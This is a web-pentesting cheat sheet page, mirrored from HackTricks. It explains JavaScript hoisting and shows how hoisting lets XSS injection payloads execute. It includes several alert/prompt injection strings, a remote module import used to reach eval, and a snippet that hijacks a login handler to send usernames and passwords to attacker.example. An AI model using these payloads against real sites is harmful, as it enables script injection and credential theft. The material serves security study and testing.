daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

js-hoisting.md (8866B)


      1 ---
      2 title: "JS Hoisting"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xss-cross-site-scripting/js-hoisting.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # JS Hoisting
     14 
     15 ## Basic Information
     16 
     17 **Hoisting** is a common shorthand for the observable behavior by which JavaScript bindings are created during scope instantiation before evaluation reaches their declaration. The source text is not literally moved, and the behavior differs for function declarations, `var`, lexical declarations (`let`, `const`, and `class`), and static imports.<sup>[[2]](#references)</sup>
     18 
     19 The engine parses a script or module before evaluating it and creates its bindings as part of declaration instantiation. A syntax error prevents evaluation entirely; hoisting gadgets instead help with **runtime** failures such as an otherwise undeclared identifier.
     20 
     21 It is crucial to understand that:
     22 
     23 1. The script must be free of syntax errors for execution to occur. Syntax rules must be strictly adhered to.
     24 2. The placement of code within the script affects execution due to hoisting, although the executed code might differ from its textual representation.
     25 
     26 #### Types of Hoisting
     27 
     28 Based on the information from MDN, there are four distinct types of hoisting in JavaScript:<sup>[[2]](#references)</sup>
     29 
     30 1. **Value Hoisting**: Enables the use of a variable's value within its scope before its declaration line.
     31 2. **Declaration Hoisting**: Allows referencing a variable within its scope before its declaration without causing a `ReferenceError`, but the variable's value will be `undefined`.
     32 3. This type alters the behavior within its scope due to the variable's declaration before its actual declaration line.
     33 4. The declaration's side effects occur before the rest of the code containing it is evaluated.
     34 
     35 In detail, function declarations exhibit type 1 hoisting behavior. The `var` keyword demonstrates type 2 behavior. Lexical declarations, which include `let`, `const`, and `class`, show type 3 behavior. Lastly, `import` statements are unique in that they are hoisted with both type 1 and type 4 behaviors.
     36 
     37 ## Scenarios
     38 
     39 Therefore, if you can inject JavaScript after code that uses an undeclared identifier, a hoisted declaration can prevent the early `ReferenceError` and allow the injected expression to execute:<sup>[[1]](#references)</sup>
     40 
     41 ```javascript
     42 // The function vulnerableFunction is not defined
     43 vulnerableFunction('test', '<INJECTION>');
     44 // You can define it in your injection to execute JS
     45 //Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
     46 '-alert(1)-''); function vulnerableFunction(a,b){return 1};
     47 
     48 //Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
     49 test'); function vulnerableFunction(a,b){ return 1 };alert(1)
     50 ```
     51 
     52 ```javascript
     53 // If a variable is not defined, you could define it in the injection
     54 // In the following example var a is not defined
     55 function myFunction(a,b){
     56     return 1
     57 };
     58 myFunction(a, '<INJECTION>')
     59 
     60 //Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
     61 test'); var a = 1; alert(1);
     62 ```
     63 
     64 ```javascript
     65 // If an undeclared class is used, you cannot declare it AFTER being used
     66 var variable = new unexploitableClass();
     67 <INJECTION>
     68 // But you can actually declare it as a function, being able to fix the syntax with something like:
     69 function unexploitableClass() {
     70     return 1;
     71 }
     72 alert(1);
     73 ```
     74 
     75 ```javascript
     76 // Properties are not hoisted
     77 // So the following examples where the 'cookie' attribute doesn´t exist
     78 // cannot be fixed if you can only inject after that code:
     79 test.cookie("leo", "INJECTION")
     80 test[("cookie", "injection")]
     81 ```
     82 
     83 ## More Scenarios
     84 
     85 ```javascript
     86 // Undeclared var accessing to an undeclared method
     87 x.y(1,INJECTION)
     88 // You can inject
     89 alert(1));function x(){}//
     90 // And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
     91 x.y(1,alert(1));function x(){}//)
     92 ```
     93 
     94 ```javascript
     95 // Undeclared var accessing 2 nested undeclared method
     96 x.y.z(1,INJECTION)
     97 // You can inject
     98 ");import {x} from "https://example.com/module.js"//
     99 // It will be executed
    100 x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
    101 
    102 
    103 // The imported module:
    104 // module.js
    105 var x = {
    106   y: {
    107     z: function(param) {
    108       eval(param);
    109     }
    110   }
    111 };
    112 
    113 export { x };
    114 ```
    115 
    116 ```javascript
    117 // In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
    118 // It was injected the: let config;`-alert(1)`//`
    119 // With the goal of making in the block the var config be empty, so the return is not executed
    120 // And the same injection was replicated in the body URL to execute an alert
    121 
    122 try {
    123   if (config) {
    124     return
    125   }
    126   // TODO handle missing config for: https://try-to-catch.glitch.me/"+`
    127   let config
    128   ;`-alert(1)` //`+"
    129 } catch {
    130   fetch("/error", {
    131     method: "POST",
    132     body: {
    133       url:
    134         "https://try-to-catch.glitch.me/" +
    135         `
    136 let config;` -
    137         alert(1) -
    138         `//` +
    139         "",
    140     },
    141   })
    142 }
    143 trigger()
    144 ```
    145 
    146 <sup>[[3]](#references)</sup>
    147 
    148 ### Hoisting to bypass exception handling
    149 
    150 When the sink is wrapped in a `try { x.y(...) } catch { ... }`, **ReferenceError** will stop execution before your payload runs. You can pre-declare the missing identifier so the call survives and your injected expression executes first:
    151 
    152 ```javascript
    153 // Original sink (x and y are undefined, but you control INJECT)
    154 x.y(1,INJECT)
    155 
    156 // Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
    157 prompt()) ; function x(){} //
    158 ```
    159 
    160 `function x(){}` is hoisted before evaluation, so the parser no longer throws on `x.y(...)`; `prompt()` executes before `y` is resolved, then a `TypeError` is thrown after your code has run.<sup>[[5]](#references)</sup>
    161 
    162 ### Preempt later declarations by locking a name with const
    163 
    164 If you can execute before a top-level `function foo(){...}` is parsed, declaring a lexical binding with the same name (e.g., `const foo = ...`) will prevent the later function declaration from rebinding that identifier. This can be abused in RXSS to hijack critical handlers defined later in the page:<sup>[[4]](#references)</sup>
    165 
    166 ```javascript
    167 // Malicious code runs first (e.g., earlier inline <script>)
    168 const DoLogin = () => {
    169   const pwd  = Trim(FormInput.InputPassword.value)
    170   const user = Trim(FormInput.InputUtente.value)
    171   fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
    172 }
    173 
    174 // Later, the legitimate page tries to declare:
    175 function DoLogin(){ /* ... */ } // cannot override the existing const binding
    176 ```
    177 
    178 Notes
    179 - This relies on execution order and global (top-level) scope.
    180 - If your payload is executed inside `eval()`, remember that `const/let` inside `eval` are block-scoped and won’t create global bindings. Inject a new `<script>` element with the code to establish a true global `const`.
    181 
    182 ### Related import-time code execution (not a hoisting primitive)
    183 
    184 Server-side rendered applications sometimes forward input into dynamic `import()` to lazy-load components. Dynamic `import()` is evaluated where the expression executes—it is **not hoisted** like a static import declaration. However, vulnerable instrumentation such as old `import-in-the-middle` releases generated wrapper modules from an insufficiently validated specifier, creating a separate path-traversal/RCE risk tracked as CVE-2023-38704.<sup>[[7]](#references)</sup>
    185 
    186 ### Tooling
    187 
    188 Modern scanners started to add explicit hoisting payloads. **KNOXSS v3.6.5** lists "JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting" and "Hoisting Override" test cases; running it against RXSS contexts that throw `ReferenceError`/`TypeError` quickly surfaces hoist-based gadget candidates.<sup>[[6]](#references)</sup>
    189 
    190 ## References
    191 
    192 - [1] [JavaScript Hoisting in XSS Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
    193 - [2] [MDN – Hoisting (Glossary)](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
    194 - [3] [Having some fun with JavaScript hoisting](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
    195 - [4] [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
    196 - [5] [XSS Exception Bypass using Hoisting (ch4n3, 2023)](https://new-blog.ch4n3.kr/xss-exception-bypass-using-hoisting/)
    197 - [6] [KNOXSS coverage – hoisting override cases](https://knoxss.pro/?page_id=766)
    198 - [7] [NVD – CVE-2023-38704 (import-in-the-middle RCE)](https://nvd.nist.gov/vuln/detail/CVE-2023-38704)